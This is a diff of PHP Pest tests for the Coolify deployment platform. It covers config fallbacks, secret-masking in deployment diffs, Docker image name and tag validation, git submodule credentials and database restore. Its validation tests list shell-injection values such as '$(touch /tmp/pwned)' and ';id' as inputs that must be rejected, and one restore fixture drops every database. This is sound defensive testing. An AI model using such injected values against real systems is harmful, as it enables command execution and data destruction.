$repository->set($key, (string) $original[$key]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
it('trims and filters read hosts from comma separated values', function () {
|
||||
$config = databaseConfigWithEnvironment([
|
||||
'DB_READ_HOST' => ' read-1, read-2, ',
|
||||
]);
|
||||
|
||||
expect($config['connections']['pgsql']['read']['host'])->toBe(['read-1', 'read-2']);
|
||||
});
|
||||
|
||||
it('falls back to db host when write host is empty', function () {
|
||||
$config = databaseConfigWithEnvironment([
|
||||
'DB_HOST' => 'primary-db',
|
||||
'DB_READ_HOST' => 'read-db',
|
||||
'DB_WRITE_HOST' => '',
|
||||
]);
|
||||
|
||||
expect($config['connections']['pgsql']['write']['host'])->toBe(['primary-db']);
|
||||
});
|
||||
|
||||
it('falls back to the default host when write host and db host are empty', function () {
|
||||
$config = databaseConfigWithEnvironment([
|
||||
'DB_HOST' => '',
|
||||
'DB_READ_HOST' => 'read-db',
|
||||
'DB_WRITE_HOST' => '',
|
||||
]);
|
||||
|
||||
expect($config['connections']['pgsql']['write']['host'])->toBe(['coolify-db']);
|
||||
});
|
||||
@@ -0,0 +1,123 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class, RefreshDatabase::class);
|
||||
|
||||
function snapshotTestApplication(array $attributes = []): Application
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
return Application::factory()->create(array_merge([
|
||||
'environment_id' => $environment->id,
|
||||
'status' => 'running:healthy',
|
||||
'fqdn' => 'https://example.com',
|
||||
'build_command' => 'npm run build',
|
||||
'start_command' => 'npm run start',
|
||||
], $attributes));
|
||||
}
|
||||
|
||||
function markSnapshotTestApplicationDeployed(Application $application): ApplicationDeploymentQueue
|
||||
{
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'application_id' => (string) $application->id,
|
||||
'deployment_uuid' => (string) Str::uuid(),
|
||||
'status' => 'finished',
|
||||
'commit' => 'HEAD',
|
||||
]);
|
||||
|
||||
$application->markDeploymentConfigurationApplied($deployment);
|
||||
|
||||
return $deployment->refresh();
|
||||
}
|
||||
|
||||
it('does not report preview deployment toggles as pending production configuration changes', function () {
|
||||
$application = snapshotTestApplication();
|
||||
markSnapshotTestApplicationDeployed($application);
|
||||
|
||||
$application->settings->update(['is_preview_deployments_enabled' => true]);
|
||||
|
||||
expect($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
|
||||
});
|
||||
|
||||
it('detects build-impacting changes', function () {
|
||||
$application = snapshotTestApplication();
|
||||
markSnapshotTestApplicationDeployed($application);
|
||||
|
||||
$application->update(['build_command' => 'pnpm build']);
|
||||
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
|
||||
|
||||
expect($diff->isChanged())->toBeTrue()
|
||||
->and($diff->requiresBuild())->toBeTrue()
|
||||
->and(collect($diff->changes())->pluck('label'))->toContain('Build command');
|
||||
});
|
||||
|
||||
it('detects redeploy-only domain changes', function () {
|
||||
$application = snapshotTestApplication();
|
||||
markSnapshotTestApplicationDeployed($application);
|
||||
|
||||
$application->update(['fqdn' => 'https://new.example.com']);
|
||||
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
|
||||
|
||||
expect($diff->isChanged())->toBeTrue()
|
||||
->and($diff->requiresBuild())->toBeFalse()
|
||||
->and(collect($diff->changes())->pluck('label'))->toContain('Domains');
|
||||
});
|
||||
|
||||
it('detects environment variable value changes without exposing secret values', function () {
|
||||
$application = snapshotTestApplication();
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'API_TOKEN',
|
||||
'value' => 'old-secret',
|
||||
'is_buildtime' => false,
|
||||
'is_runtime' => true,
|
||||
'is_preview' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
]);
|
||||
markSnapshotTestApplicationDeployed($application->refresh());
|
||||
|
||||
$application->environment_variables()->where('key', 'API_TOKEN')->first()->update(['value' => 'new-secret']);
|
||||
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
|
||||
$change = collect($diff->changes())->firstWhere('label', 'API_TOKEN');
|
||||
|
||||
expect($change)->not->toBeNull()
|
||||
->and($change['display_summary'])->toBe('Changed')
|
||||
->and($change['old_display_value'])->toBe('••••••••')
|
||||
->and($change['new_display_value'])->toBe('••••••••')
|
||||
->and(json_encode($diff->toArray()))->not->toContain('old-secret')->not->toContain('new-secret');
|
||||
});
|
||||
|
||||
it('describes added environment variables as set without exposing secret values', function () {
|
||||
$application = snapshotTestApplication();
|
||||
markSnapshotTestApplicationDeployed($application);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'API_TOKEN',
|
||||
'value' => 'new-secret',
|
||||
'is_buildtime' => false,
|
||||
'is_runtime' => true,
|
||||
'is_preview' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
]);
|
||||
|
||||
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
|
||||
$change = collect($diff->changes())->firstWhere('label', 'API_TOKEN');
|
||||
|
||||
expect($change)->not->toBeNull()
|
||||
->and($change['display_summary'])->toBeNull()
|
||||
->and($change['old_display_value'])->toBe('-')
|
||||
->and($change['new_display_value'])->toBe('••••••••')
|
||||
->and(json_encode($diff->toArray()))->not->toContain('new-secret');
|
||||
});
|
||||
@@ -74,3 +74,60 @@ it('falls back to latest when neither preview nor application tags are set', fun
|
||||
|
||||
expect($method->invoke($job))->toBe('latest');
|
||||
});
|
||||
|
||||
function makeDockerRegistryTagPushJob(int $pullRequestId, ?string $dockerRegistryImageTag): object
|
||||
{
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, $pullRequestId);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => $dockerRegistryImageTag,
|
||||
]));
|
||||
|
||||
return $job;
|
||||
}
|
||||
|
||||
it('pushes the configured docker registry image tag for production deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 0,
|
||||
dockerRegistryImageTag: 'latest',
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeTrue();
|
||||
});
|
||||
|
||||
it('skips the configured docker registry image tag for preview deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 42,
|
||||
dockerRegistryImageTag: 'latest',
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeFalse();
|
||||
});
|
||||
|
||||
it('skips pushing a configured docker registry image tag when no tag is set', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 0,
|
||||
dockerRegistryImageTag: null,
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeFalse();
|
||||
});
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
<?php
|
||||
|
||||
use App\Exceptions\DeploymentException;
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Rules\DockerImageFormat;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('accepts valid docker registry image names', function (string $imageName) {
|
||||
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeTrue();
|
||||
})->with([
|
||||
'single component' => 'nginx',
|
||||
'namespace image' => 'library/nginx',
|
||||
'ghcr image' => 'ghcr.io/coollabsio/coolify',
|
||||
'repository component with repeated hyphens' => 'ghcr.io/acme/my--service',
|
||||
'registry with port' => 'registry.example.com:5000/team/app',
|
||||
'digest marker used by existing dockerimage records' => 'nginx@sha256',
|
||||
]);
|
||||
|
||||
it('rejects docker registry image names with shell metacharacters', function (string $imageName) {
|
||||
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeFalse();
|
||||
})->with([
|
||||
'command substitution' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'semicolon' => 'coolify/poc;id',
|
||||
'backticks' => 'coolify/poc`id`',
|
||||
'pipe' => 'coolify/poc|id',
|
||||
'logical and' => 'coolify/poc&&id',
|
||||
'newline' => "coolify/poc\nid",
|
||||
'space' => 'coolify/poc image',
|
||||
'tag in image-name-only field' => 'coolify/poc:latest',
|
||||
]);
|
||||
|
||||
it('accepts valid docker registry image tags', function (string $tag) {
|
||||
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeTrue();
|
||||
})->with([
|
||||
'latest' => 'latest',
|
||||
'version' => 'v1.2.3',
|
||||
'uppercase and underscore' => 'PR_123',
|
||||
'sha256 hash' => '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'legacy sha256 prefixed hash' => 'sha256-1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
]);
|
||||
|
||||
it('rejects docker registry image tags with shell metacharacters', function (string $tag) {
|
||||
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeFalse();
|
||||
})->with([
|
||||
'command substitution' => 'latest$(touch /tmp/pwned)',
|
||||
'semicolon' => 'latest;id',
|
||||
'backticks' => 'latest`id`',
|
||||
'pipe' => 'latest|id',
|
||||
'logical and' => 'latest&&id',
|
||||
'newline' => "latest\nid",
|
||||
]);
|
||||
|
||||
it('accepts supported full docker image reference formats', function (string $imageReference) {
|
||||
$failures = [];
|
||||
|
||||
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
|
||||
$failures[] = $message;
|
||||
});
|
||||
|
||||
expect($failures)->toBeEmpty();
|
||||
})->with([
|
||||
'image with tag' => 'nginx:latest',
|
||||
'registry image with tag' => 'ghcr.io/user/app:v1.2.3',
|
||||
'image with sha256 digest' => 'nginx@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'registry image with sha256 digest' => 'ghcr.io/user/app@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'registry port image with tag' => 'localhost:5000/app:latest',
|
||||
]);
|
||||
|
||||
it('rejects unsupported full docker image reference formats', function (string $imageReference) {
|
||||
$failures = [];
|
||||
|
||||
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
|
||||
$failures[] = $message;
|
||||
});
|
||||
|
||||
expect($failures)->not->toBeEmpty();
|
||||
})->with([
|
||||
'colon sha256 marker' => 'nginx:sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'command substitution' => 'nginx:latest$(touch /tmp/pwned)',
|
||||
'newline' => "nginx:latest\nid",
|
||||
]);
|
||||
|
||||
it('stops deployments when a stored docker registry image value is unsafe', function () {
|
||||
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
|
||||
|
||||
$application = new Application([
|
||||
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]);
|
||||
$deploymentQueue = new ApplicationDeploymentQueue([
|
||||
'docker_registry_image_tag' => null,
|
||||
]);
|
||||
|
||||
$jobReflection = new ReflectionClass($job);
|
||||
foreach ([
|
||||
'application' => $application,
|
||||
'application_deployment_queue' => $deploymentQueue,
|
||||
'dockerImagePreviewTag' => null,
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $jobReflection->getProperty($property);
|
||||
$reflectionProperty->setValue($job, $value);
|
||||
}
|
||||
|
||||
$method = $jobReflection->getMethod('validateDockerRegistryImageConfiguration');
|
||||
|
||||
expect(fn () => $method->invoke($job))->toThrow(DeploymentException::class);
|
||||
});
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
it('requires a mail driver before Docmost can start', function () {
|
||||
$compose = file_get_contents(__DIR__.'/../../templates/compose/docmost.yaml');
|
||||
|
||||
expect($compose)
|
||||
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
|
||||
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
|
||||
|
||||
foreach (['service-templates.json', 'service-templates-latest.json'] as $templateFile) {
|
||||
$templates = json_decode(
|
||||
file_get_contents(__DIR__."/../../templates/{$templateFile}"),
|
||||
associative: true,
|
||||
flags: JSON_THROW_ON_ERROR,
|
||||
);
|
||||
|
||||
$generatedCompose = base64_decode($templates['docmost']['compose'], strict: true);
|
||||
|
||||
expect($generatedCompose)
|
||||
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
|
||||
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,74 @@
|
||||
<?php
|
||||
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
|
||||
it('flags NIXPACKS_ keys as buildpack control variables', function () {
|
||||
$env = new EnvironmentVariable;
|
||||
$env->key = 'NIXPACKS_NODE_VERSION';
|
||||
|
||||
expect($env->is_buildpack_control)->toBeTrue();
|
||||
});
|
||||
|
||||
it('flags RAILPACK_ keys as buildpack control variables', function () {
|
||||
$env = new EnvironmentVariable;
|
||||
$env->key = 'RAILPACK_NODE_VERSION';
|
||||
|
||||
expect($env->is_buildpack_control)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not flag user-defined keys as buildpack control variables', function () {
|
||||
$env = new EnvironmentVariable;
|
||||
$env->key = 'MY_BUILD_VAR';
|
||||
|
||||
expect($env->is_buildpack_control)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not flag empty key as buildpack control variable', function () {
|
||||
$env = new EnvironmentVariable;
|
||||
|
||||
expect($env->is_buildpack_control)->toBeFalse();
|
||||
});
|
||||
|
||||
it('lists is_buildpack_control in appends and drops legacy is_nixpacks', function () {
|
||||
$env = new EnvironmentVariable;
|
||||
|
||||
expect($env->getAppends())->toContain('is_buildpack_control');
|
||||
expect($env->getAppends())->not->toContain('is_nixpacks');
|
||||
});
|
||||
|
||||
it('normalizes environment variable keys before storing them on the model', function () {
|
||||
$env = new EnvironmentVariable;
|
||||
$env->key = ' node.name ';
|
||||
|
||||
expect($env->key)->toBe('node.name');
|
||||
});
|
||||
|
||||
it('allows Docker-compatible environment variable keys on the model', function (string $key) {
|
||||
$env = new EnvironmentVariable;
|
||||
$env->key = $key;
|
||||
|
||||
expect($env->key)->toBe($key);
|
||||
})->with([
|
||||
'starts with digit' => '1BAD',
|
||||
'hyphen' => 'BAD-KEY',
|
||||
'dot' => 'node.name',
|
||||
'uppercase dots' => 'XPACK.SECURITY.ENABLED',
|
||||
'semicolon' => 'BAD;KEY',
|
||||
]);
|
||||
|
||||
it('rejects environment variable keys Docker cannot represent on the model', function () {
|
||||
$env = new EnvironmentVariable;
|
||||
|
||||
expect(function () use ($env) {
|
||||
$env->key = 'BAD=KEY';
|
||||
})->toThrow(InvalidArgumentException::class, 'Docker-compatible');
|
||||
});
|
||||
|
||||
it('rejects shared environment variable keys Docker cannot represent on the model', function () {
|
||||
$env = new SharedEnvironmentVariable;
|
||||
|
||||
expect(function () use ($env) {
|
||||
$env->key = 'BAD=KEY';
|
||||
})->toThrow(InvalidArgumentException::class, 'Docker-compatible');
|
||||
});
|
||||
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
|
||||
test('hex magic variables generate valid hex strings with expected lengths', function (string $command, int $expectedLength) {
|
||||
$value = generateEnvValue($command);
|
||||
|
||||
expect($value)
|
||||
->toBeString()
|
||||
->toMatch('/^[0-9a-f]+$/');
|
||||
|
||||
expect(strlen($value))->toBe($expectedLength);
|
||||
})->with([
|
||||
'HEX_32' => ['HEX_32', 32],
|
||||
'HEX_64' => ['HEX_64', 64],
|
||||
'HEX_128' => ['HEX_128', 128],
|
||||
]);
|
||||
|
||||
test('real base64 magic variables generate valid base64 strings from expected byte lengths', function (string $command, int $expectedBytes) {
|
||||
$value = generateEnvValue($command);
|
||||
$decodedValue = base64_decode($value, true);
|
||||
|
||||
expect($value)->toBeString();
|
||||
expect($decodedValue)->not->toBeFalse();
|
||||
expect(strlen($decodedValue))->toBe($expectedBytes);
|
||||
})->with([
|
||||
'REALBASE64' => ['REALBASE64', 32],
|
||||
'REALBASE64_32' => ['REALBASE64_32', 32],
|
||||
'REALBASE64_64' => ['REALBASE64_64', 64],
|
||||
'REALBASE64_128' => ['REALBASE64_128', 128],
|
||||
]);
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models {
|
||||
function generateGithubInstallationToken(GithubApp $source): string
|
||||
{
|
||||
return 'review token/with+symbols';
|
||||
}
|
||||
}
|
||||
|
||||
namespace {
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\GithubApp;
|
||||
|
||||
test('private github app submodule credentials use per command git config', function () {
|
||||
$application = new Application;
|
||||
$application->forceFill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_repository' => 'coollabsio/private-app',
|
||||
'git_branch' => 'main',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
$application->setRelation('settings', $settings);
|
||||
|
||||
$source = new GithubApp;
|
||||
$source->forceFill([
|
||||
'html_url' => 'https://github.com',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'is_public' => false,
|
||||
]);
|
||||
$application->setRelation('source', $source);
|
||||
|
||||
$result = $application->generateGitImportCommands(
|
||||
deployment_uuid: 'test-deployment',
|
||||
exec_in_docker: false,
|
||||
);
|
||||
|
||||
expect($result['commands'])
|
||||
->not->toContain('git config --global')
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' clone --recurse-submodules -b 'main'")
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule sync")
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule update --init --recursive");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\GitlabApp;
|
||||
use App\Models\PrivateKey;
|
||||
|
||||
describe('Git submodule credential propagation', function () {
|
||||
beforeEach(function () {
|
||||
$this->application = new Application;
|
||||
$this->application->forceFill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
$this->application->setRelation('settings', $settings);
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for submodule update', function () {
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
|
||||
->toContain('git submodule sync');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () {
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () {
|
||||
$this->application->git_commit_sha = 'abc123def456';
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () {
|
||||
$this->application->git_commit_sha = 'abc123def456';
|
||||
$this->application->settings->is_git_shallow_clone_enabled = true;
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () {
|
||||
$this->application->settings->is_git_lfs_enabled = true;
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () {
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
|
||||
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main', $sshCommand);
|
||||
|
||||
expect($result)
|
||||
->toContain("git checkout 'main'")
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () {
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main');
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () {
|
||||
$this->application->settings->is_git_submodules_enabled = false;
|
||||
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main');
|
||||
|
||||
expect($result)
|
||||
->toContain("git checkout 'main'")
|
||||
->not->toContain('submodule');
|
||||
});
|
||||
|
||||
test('generateGitImportCommands uses GitLab private key for PR submodule checkout', function () {
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
|
||||
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
||||
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->git_commit_sha = 'HEAD';
|
||||
$application->setRelation('settings', $settings);
|
||||
$application->source = $gitlabSource;
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'git@gitlab.com:user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
|
||||
$result = $application->generateGitImportCommands(
|
||||
deployment_uuid: 'test-uuid',
|
||||
pull_request_id: 123,
|
||||
git_type: 'gitlab',
|
||||
exec_in_docker: false,
|
||||
);
|
||||
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
expect($result['commands'])
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify')
|
||||
->toContain("git checkout 'pr-123-coolify'")
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
|
||||
->not->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
});
|
||||
@@ -1,16 +1,26 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
function importFormWithResource(string $modelClass): ImportForm
|
||||
{
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public $resource;
|
||||
};
|
||||
|
||||
$database = Mockery::mock($modelClass);
|
||||
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
|
||||
$component->resource = $database;
|
||||
|
||||
return $component;
|
||||
}
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandalonePostgresql');
|
||||
$component->dumpAll = false;
|
||||
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('pg_restore');
|
||||
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandalonePostgresql');
|
||||
$component->dumpAll = true;
|
||||
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
|
||||
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('gunzip -cf /tmp/test.dump');
|
||||
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
|
||||
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandaloneMysql');
|
||||
$component->dumpAll = false;
|
||||
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
|
||||
|
||||
